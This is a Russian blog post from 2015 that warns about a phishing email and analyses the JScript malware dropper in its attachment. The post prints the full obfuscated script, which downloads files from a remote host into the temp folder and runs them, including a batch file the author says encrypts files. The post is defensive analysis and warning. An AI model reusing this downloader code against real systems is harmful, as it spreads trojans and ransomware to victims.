Анализ кода установщика вредоносов на jScript

Сегодня 27.10.2015 столкнулся с очередными «письмами счастья». Текст письма следующий:

Акт сверки(в приложении к пиcьмy).
Убедительная просьба до завтрашнего обеда выслать отсканированную копию подписанного с Вашей стороны экземпляра или же ваши замечания.
Хотели бы подчеркнуть, что за Вашей фирмой висит непогашенный платеж за август.

Файл представлял собой zip (акт_сверки_120951784.zip) в котором внутри .js, при этом расширение в имени стояло pdf, но за пробелами спрятано расширение js. Код JS не сложный, хотя и содержит много лишнего, сжат и содержит не читаемые названия переменных и функций. Я решил разобраться, что он делает.

Действия скрипта по шагам смотри далее…

Внимание, очередная атака через рассылку писем.

Сегодня 27.10.2015 столкнулся с очередными «письмами счастья». Текст письма следующий:

Акт сверки(в приложении к пиcьмy).
Убедительная просьба до завтрашнего обеда выслать отсканированную копию подписанного с Вашей стороны экземпляра или же ваши замечания.
Хотели бы подчеркнуть, что за Вашей фирмой висит непогашенный платеж за август.

Файл представлял собой zip (акт_сверки_120951784.zip) в котором внутри .js, при этом расширение в имени стояло pdf, но за пробелами спрятано расширение js. Код JS не сложный, хотя и содержит много лишнего, сжат и содержит не читаемые названия переменных и функций. Я решил разобраться, что он делает.

Действия скрипта по шагам:

Вот текст файла install.js:

WScript.Sleep(46);
var E02B = «%temp%\\»;

function CreateObject(a) {
return new ActiveXObject(a)
}
var D3C5158E1E = CreateObject(«WScript.Shell»),
E02B = D3C5158E1E.ExpandEnvironmentStrings(E02B);

function A7A86A0482FA2(a, b) {
var c = new ActiveXObject(«MSXML2.XMLHTTP»);
c.open(«GET», a, 0);
c.send();
WScript.CreateObject(«Scripting.FileSystemObject»);
new ActiveXObject(«Scripting.FileSystemObject»);
var d = new ActiveXObject(«ADODB.Stream»);
fd41f99c0 = «Q8B7BAEFE15»;
d.Open();
d.Type = 1;
d.Write(c.ResponseBody);
d.Position = 0;
d.SaveToFile(b, 2);
d.Close()
}

A7A86A0482FA2(«domain/doc.css», «» + E02B + «doc_8774.doc»);
WScript.Sleep(36);

function B57298ED2A3574(a) {
D3C5158E1E.Run(a, 1, 0)
}

WScript.Sleep(85);

try {
B57298ED2A3574(«» + E02B + «doc_8774.doc»)
} catch (a) {}

function C4A49BE2A48F(a) {
D3C5158E1E.Run(a, 0, 0)
}
A7A86A0482FA2(«domain/style.css», «» + E02B + «style.css»);

A7A86A0482FA2(«domain/inject.css», «» + E02B + «vbbf15fa9b.bat»);
C4A49BE2A48F(«» + E02B + «vbbf15fa9b.bat 47E94-10B0E-F94B3-D246A»);

В коде скрипта install.js во время выполнения происходит следующее:

Данные файлы и урл уже проверялись за день до этого на VirusTotal, вот ссылки на результаты проверок файлов:

Судя по данным VirusTotal — первый троян, второй просто опасный по версии Касперского, а последний шифрует файлы.

Будьте бдительны. 🙂